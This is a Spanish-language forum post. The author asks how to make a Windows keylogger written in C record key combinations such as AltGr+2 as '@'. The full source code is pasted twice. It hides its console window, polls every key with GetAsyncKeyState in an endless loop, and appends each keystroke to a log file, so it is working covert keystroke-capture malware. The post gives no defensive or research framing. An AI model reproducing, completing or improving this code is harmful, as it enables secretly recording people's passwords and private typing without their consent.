Hola, estoy intentando hacer un keylogger el cual lea todo tipos de carácteres. Por ahora todo funciona correctamente, salvo cuando intento de leer una combinación de tecla. Por ejemplo, cuando intento leer la tecla [alt Gr] y 2 me almacene en el fichero el carácter '@'. He leido la documentación sobre la función GetAnsycKeyState en las páginas oficiales de Windows(GetAsyncKeyState function (Windows)), pero no he conseguido hayar la solución. Espero que alguien pueda ayudarme. Gracias.
Mi código es el siguiente:
------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <ctype.h>
#define SHIFTED 0x8000
#define TECLA_OK -32767
/* Almacena las teclas en el fichero log */
int key2file(int tecla, char *file)
{
FILE *fd=NULL;
if((tecla ==1) || (tecla == 2))
return 0;
/* Abre fichero */
fd = fopen(file,"a+");
if(fd == NULL)
return 0;
/* Comprueba teclas */
if(tecla == 8)
fprintf(fd,"%s","[DEL]");
else if (tecla == 13)
fprintf(fd,"%s","\n");
else if (tecla == 32)
fprintf(fd,"%s"," ");
else if(tecla == 110 || tecla == 190)
fprintf(fd,"%s",".");
else if(tecla >= 0x2F && tecla <= 0x39)
{
/* Número */
fprintf(fd,"%s",(char *)&tecla);
}
else if(tecla >= 0x41 && tecla <= 0x5A)
{
/* Letra */
fprintf(fd,"%s",(char *)&tecla);
}
/* Impresion de caracteres especiales desde teclado numerico y pulsaciones de Mayusculas y shitf. */
switch(tecla){
case 106 :
{
fprintf(fd,"%s","*");
break;
}
case 107 :
{
fprintf(fd,"%s","+");
break;
}
case 108 :
{
fprintf(fd,"%s","\n");
break;
}
case 109:
{
fprintf(fd,"%s","-");
break;
}
case 110 :
{
fprintf(fd,"%s",".");
break;
}
case 111 :
{
fprintf(fd,"%s","/");
break;
}
case 9 :
{
fprintf(fd,"%s","[Tabulador]");
break;
}
case 20 :
{
fprintf(fd, "%s","[Bloq.Mayus.]");
break;
}
case 0x10 :
{
fprintf(fd, "%s","[Shitf]");
break;
}
case 0x11 :
{
fprintf(fd, "%s","[Ctrl]");
break;
}
case 0x11+0x32 :
{
fprintf(fd, "%s","@");
break;
}
}
fclose(fd);
return 0;
}
int main(void)
{
HWND Handle;
char tecla;
AllocConsole();
Handle = FindWindowA("consoleWindowClass",NULL);
ShowWindow(Handle,0);
/* Bucle de funcionamiento */
for(; ; )
{
for(tecla=8; tecla<=190; tecla++)
{
if(GetAsyncKeyState(tecla) == TECLA_OK)
key2file(tecla,"keylog.txt");
}
}
return 0;
}
Mi código es el siguiente:
------------------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <ctype.h>
#define SHIFTED 0x8000
#define TECLA_OK -32767
/* Almacena las teclas en el fichero log */
int key2file(int tecla, char *file)
{
FILE *fd=NULL;
if((tecla ==1) || (tecla == 2))
return 0;
/* Abre fichero */
fd = fopen(file,"a+");
if(fd == NULL)
return 0;
/* Comprueba teclas */
if(tecla == 8)
fprintf(fd,"%s","[DEL]");
else if (tecla == 13)
fprintf(fd,"%s","\n");
else if (tecla == 32)
fprintf(fd,"%s"," ");
else if(tecla == 110 || tecla == 190)
fprintf(fd,"%s",".");
else if(tecla >= 0x2F && tecla <= 0x39)
{
/* Número */
fprintf(fd,"%s",(char *)&tecla);
}
else if(tecla >= 0x41 && tecla <= 0x5A)
{
/* Letra */
fprintf(fd,"%s",(char *)&tecla);
}
/* Impresion de caracteres especiales desde teclado numerico y pulsaciones de Mayusculas y shitf. */
switch(tecla){
case 106 :
{
fprintf(fd,"%s","*");
break;
}
case 107 :
{
fprintf(fd,"%s","+");
break;
}
case 108 :
{
fprintf(fd,"%s","\n");
break;
}
case 109:
{
fprintf(fd,"%s","-");
break;
}
case 110 :
{
fprintf(fd,"%s",".");
break;
}
case 111 :
{
fprintf(fd,"%s","/");
break;
}
case 9 :
{
fprintf(fd,"%s","[Tabulador]");
break;
}
case 20 :
{
fprintf(fd, "%s","[Bloq.Mayus.]");
break;
}
case 0x10 :
{
fprintf(fd, "%s","[Shitf]");
break;
}
case 0x11 :
{
fprintf(fd, "%s","[Ctrl]");
break;
}
case 0x11+0x32 :
{
fprintf(fd, "%s","@");
break;
}
}
fclose(fd);
return 0;
}
int main(void)
{
HWND Handle;
char tecla;
AllocConsole();
Handle = FindWindowA("consoleWindowClass",NULL);
ShowWindow(Handle,0);
/* Bucle de funcionamiento */
for(; ; )
{
for(tecla=8; tecla<=190; tecla++)
{
if(GetAsyncKeyState(tecla) == TECLA_OK)
key2file(tecla,"keylog.txt");
}
}
return 0;
}